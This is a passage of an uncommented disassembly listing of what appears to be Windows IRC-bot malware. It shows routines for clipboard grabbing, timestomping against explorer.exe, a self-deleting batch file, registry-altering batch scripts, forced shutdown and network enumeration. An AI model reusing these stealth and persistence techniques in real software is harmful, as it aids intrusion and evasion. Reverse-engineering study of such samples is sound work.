		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_44CD14, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_44CD60, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_44CCA4, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_44CC6C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_44CCF8, eax
		call	esi	; GetProcAddress
		cmp	dword_44CD14, ebx
		mov	dword_44CC74, eax
		jz	short loc_407F8D
		cmp	dword_44CD60, ebx
		jz	short loc_407F8D
		cmp	dword_44CCA4, ebx
		jz	short loc_407F8D
		cmp	dword_44CC6C, ebx
		jz	short loc_407F8D
		cmp	dword_44CCF8, ebx
		jz	short loc_407F8D
		cmp	eax, ebx
		jnz	short loc_407F97
		jmp	short loc_407F8D
; ---------------------------------------------------------------------------


loc_407F82:				; CODE XREF: sub_4073B6+B4Ej
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	dword_44CDFC, eax


loc_407F8D:				; CODE XREF: sub_4073B6+BA4j
					; sub_4073B6+BACj ...
		mov	dword_44CDF8, 1


loc_407F97:				; CODE XREF: sub_4073B6+BC8j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4073B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F9F	proc near		; CODE XREF: sub_40CC09+4D87p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_44CD98, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_407FE7
		push	dword_44CD9C
		lea	eax, [ebp+var_100]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_407FE7:				; CODE XREF: sub_407F9F+1Aj
		cmp	dword_44CDA0, esi
		jz	short loc_40801B
		push	dword_44CDA4
		lea	eax, [ebp+var_100]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40801B:				; CODE XREF: sub_407F9F+4Ej
		cmp	dword_44CDA8, esi
		jz	short loc_40804F
		push	dword_44CDAC
		lea	eax, [ebp+var_100]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40804F:				; CODE XREF: sub_407F9F+82j
		cmp	dword_44CDB0, esi
		jz	short loc_408083
		push	dword_44CDB4
		lea	eax, [ebp+var_100]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408083:				; CODE XREF: sub_407F9F+B6j
		cmp	dword_44CDB8, esi
		jz	short loc_4080B7
		push	dword_44CDBC
		lea	eax, [ebp+var_100]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4080B7:				; CODE XREF: sub_407F9F+EAj
		cmp	dword_44CDC0, esi
		jz	short loc_4080EB
		push	dword_44CDC4
		lea	eax, [ebp+var_100]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4080EB:				; CODE XREF: sub_407F9F+11Ej
		cmp	dword_44CDC8, esi
		jz	short loc_40811F
		push	dword_44CDCC
		lea	eax, [ebp+var_100]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40811F:				; CODE XREF: sub_407F9F+152j
		cmp	dword_44CDD0, esi
		jz	short loc_408153
		push	dword_44CDD4
		lea	eax, [ebp+var_100]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408153:				; CODE XREF: sub_407F9F+186j
		cmp	dword_44CDD8, esi
		jz	short loc_408187
		push	dword_44CDDC
		lea	eax, [ebp+var_100]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408187:				; CODE XREF: sub_407F9F+1BAj
		cmp	dword_44CDE0, esi
		jz	short loc_4081BB
		push	dword_44CDE4
		lea	eax, [ebp+var_100]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4081BB:				; CODE XREF: sub_407F9F+1EEj
		cmp	dword_44CDE8, esi
		jz	short loc_4081EF
		push	dword_44CDEC
		lea	eax, [ebp+var_100]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4081EF:				; CODE XREF: sub_407F9F+222j
		cmp	dword_44CDF0, esi
		jz	short loc_408223
		push	dword_44CDF4
		lea	eax, [ebp+var_100]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408223:				; CODE XREF: sub_407F9F+256j
		cmp	dword_44CDF8, esi
		jz	short loc_408257
		push	dword_44CDFC
		lea	eax, [ebp+var_100]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408257:				; CODE XREF: sub_407F9F+28Aj
		lea	eax, [ebp+var_100]
		push	offset unk_426D5C
		push	eax
		call	sub_413812
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_408284
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_408284:				; CODE XREF: sub_407F9F+2CEj
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407F9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408296	proc near		; CODE XREF: sub_40CC09+C4Dp
					; sub_40CC09+C81p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_408321
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_408321
		cmp	[ebp+arg_8], esi
		jz	short loc_408321
		cmp	byte ptr [eax],	0
		jz	short loc_408321
		push	ebx
		push	edi
		call	sub_41E09E
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40831C
		push	[ebp+arg_4]
		push	edi
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_408315
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_415140
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_413E90
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_415310
		push	[ebp+arg_4]
		call	sub_413E90
		add	eax, esi
		push	eax
		push	ebx
		call	sub_414FC0
		push	ebx
		push	edi
		call	sub_414FB0
		add	esp, 30h
		mov	esi, edi


loc_408315:				; CODE XREF: sub_408296+3Cj
		push	ebx
		call	sub_413F7F
		pop	ecx


loc_40831C:				; CODE XREF: sub_408296+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_408323
; ---------------------------------------------------------------------------


loc_408321:				; CODE XREF: sub_408296+Cj
					; sub_408296+13j ...
		xor	eax, eax


loc_408323:				; CODE XREF: sub_408296+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_408296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408327	proc near		; CODE XREF: sub_40CA91+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_413890
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_413E90
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40835D
		or	eax, 0FFFFFFFFh
		jmp	short loc_4083D0
; ---------------------------------------------------------------------------


loc_40835D:				; CODE XREF: sub_408327+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40837F


loc_408369:				; CODE XREF: sub_408327+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_408376
		cmp	dl, 0Dh
		jnz	short loc_40837A


loc_408376:				; CODE XREF: sub_408327+48j
		and	byte ptr [ecx+esi], 0


loc_40837A:				; CODE XREF: sub_408327+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_408369


loc_40837F:				; CODE XREF: sub_408327+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4083B0
		lea	edi, [ebp+var_7CC]


loc_40838C:				; CODE XREF: sub_408327+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4083AB
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4083AB
		cmp	ebx, 1F4h
		jge	short loc_4083B0
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4083AB:				; CODE XREF: sub_408327+69j
					; sub_408327+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40838C


loc_4083B0:				; CODE XREF: sub_408327+5Dj
					; sub_408327+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4083CE
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4138F0
		add	esp, 0Ch


loc_4083CE:				; CODE XREF: sub_408327+8Ej
		mov	eax, ebx


loc_4083D0:				; CODE XREF: sub_408327+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_408327	endp


; =============== S U B	R O U T	I N E =======================================



sub_4083D4	proc near		; CODE XREF: sub_40842E+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40840D
		push	ebx
		mov	ebx, edi


loc_4083F1:				; CODE XREF: sub_4083D4+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_408410
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4083F1
		pop	ebx


loc_40840D:				; CODE XREF: sub_4083D4+18j
		pop	edi
		pop	esi
		retn
sub_4083D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_408410	proc near		; CODE XREF: sub_4083D4+25p
					; sub_40842E+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_415467
		cmp	al, 61h
		pop	ecx
		jl	short loc_40842B
		cmp	al, 7Ah
		jg	short loc_40842B
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_408410+Ej
					; sub_408410+12j
		xor	eax, eax
		retn
sub_408410	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40842E	proc near		; CODE XREF: sub_409913+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_413E90
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_413E90
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4083D4
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40846C:				; CODE XREF: sub_40842E+B6j
		test	esi, esi
		jle	short loc_4084EA
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415467
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_415467
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4084E2


loc_408492:				; CODE XREF: sub_40842E+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_408410
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4084B3
		mov	eax, ecx


loc_4084B3:				; CODE XREF: sub_40842E+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4084E6
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415467
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_415467
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_408492


loc_4084E2:				; CODE XREF: sub_40842E+62j
		dec	edi
		dec	esi
		jmp	short loc_40846C
; ---------------------------------------------------------------------------


loc_4084E6:				; CODE XREF: sub_40842E+8Aj
		xor	eax, eax
		jmp	short loc_4084EF
; ---------------------------------------------------------------------------


loc_4084EA:				; CODE XREF: sub_40842E+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4084EF:				; CODE XREF: sub_40842E+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40842E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084F4	proc near		; CODE XREF: sub_40CC09+3813p
					; sub_40CC09+429Dp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_41F0B4	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_40852D:				; CODE XREF: sub_4084F4+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_408539
		cmp	cl, 9
		jnz	short loc_40853C


loc_408539:				; CODE XREF: sub_4084F4+3Ej
		inc	eax
		jmp	short loc_40852D
; ---------------------------------------------------------------------------


loc_40853C:				; CODE XREF: sub_4084F4+43j
					; sub_4084F4+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_408556
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40853C
		cmp	cl, 21h
		jl	short loc_40853C


loc_408556:				; CODE XREF: sub_4084F4+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_44CE08
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	0FFh
		push	esi
		call	sub_413D8A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4084F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40857E	proc near		; CODE XREF: sub_40CC09+4CEEp
		push	esi
		push	0
		call	dword_44CCAC	; OpenClipboard
		test	eax, eax
		jz	short loc_4085B5
		push	1
		call	dword_44CCCC	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4085B5
		push	edi
		push	esi
		call	dword_41F0BC	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_41F0B8	; GlobalUnlock
		call	dword_44CD2C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4085B5:				; CODE XREF: sub_40857E+Bj
					; sub_40857E+19j
		xor	eax, eax
		pop	esi
		retn
sub_40857E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4085B9	proc near		; CODE XREF: sub_40CC09+416Bp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_44CCE8	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_408635
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_41F0C8	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_41F0C4	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_413812
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_44CD34	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_44CD34	; SendMessageA
		push	ebx
		call	dword_41F0C0	; UnmapViewOfFile
		push	edi
		call	dword_41F058	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_408637
; ---------------------------------------------------------------------------


loc_408635:				; CODE XREF: sub_4085B9+16j
		xor	eax, eax


loc_408637:				; CODE XREF: sub_4085B9+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4085B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40863B	proc near		; CODE XREF: sub_40C2D0+21Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_44CD94	; SearchPathA
		test	eax, eax
		jz	short loc_4086DA
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_41F05C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4086DA
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_41F0D0	; GetFileTime
		push	ebx
		mov	ebx, dword_41F058
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4086DA
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_41F0CC	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4086DA:				; CODE XREF: sub_40863B+2Aj
					; sub_40863B+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40863B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4086DF	proc near		; CODE XREF: sub_40CC09+130Bp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_44CC34	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4086DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408701	proc near		; CODE XREF: sub_40A3AD+4BAp
					; sub_40CC09+4F80p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42A330, esi
		push	edi
		jz	short loc_408725
		cmp	dword_44CDA8, esi
		jnz	short loc_408725
		push	esi
		call	sub_409A42
		pop	ecx


loc_408725:				; CODE XREF: sub_408701+13j
					; sub_408701+1Bj
		call	sub_413487
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_41F0E0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_408885
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_41F054	; WriteFile
		push	edi
		call	dword_41F058	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438A10
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_41F0B0	; GetModuleHandleA
		push	eax
		call	dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40882D
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_41F0DC	; SetFileAttributesA


loc_40882D:				; CODE XREF: sub_408701+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_41F0D8	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_41F0D4	; CreateProcessA


loc_408885:				; CODE XREF: sub_408701+72j
		pop	edi
		pop	esi
		leave
		retn
sub_408701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408889	proc near		; CODE XREF: sub_40C2D0+34p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_413E60
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA_bat	; "c:\\a.bat"
		push	eax
		movsb
		call	sub_413812
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_408943
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_41F054	; WriteFile
		push	edi
		call	dword_41F058	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	dword_41F0D4	; CreateProcessA


loc_408943:				; CODE XREF: sub_408889+55j
		pop	edi
		pop	esi
		leave
		retn
sub_408889	endp


; =============== S U B	R O U T	I N E =======================================



sub_408947	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7D+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40896F
		push	[esp+arg_0]
		call	dword_44CD5C	; gethostbyname
		test	eax, eax
		jnz	short loc_408968
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_408968:				; CODE XREF: sub_408947+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40896F:				; CODE XREF: sub_408947+Dj
		retn
sub_408947	endp


; =============== S U B	R O U T	I N E =======================================



sub_408970	proc near		; CODE XREF: sub_40C929+D6p
		mov	ecx, dword_44CC14
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40897E
		call	ecx	; DnsFlushResolverCache

locret_40897E:				; CODE XREF: sub_408970+Aj
		retn
sub_408970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40897F	proc near		; CODE XREF: sub_40CC09:loc_4118A9p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_44CD54	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_408A45
		sub	ecx, 32h
		jz	loc_408A3E
		sub	ecx, 48h
		jz	short loc_4089DF
		sub	ecx, 6Eh
		jz	short loc_4089D8


loc_4089C1:				; CODE XREF: sub_40897F+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42874C
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	short loc_408A1F
; ---------------------------------------------------------------------------


loc_4089D8:				; CODE XREF: sub_40897F+40j
		push	offset unk_428718
		jmp	short loc_408A11
; ---------------------------------------------------------------------------


loc_4089DF:				; CODE XREF: sub_40897F+3Bj
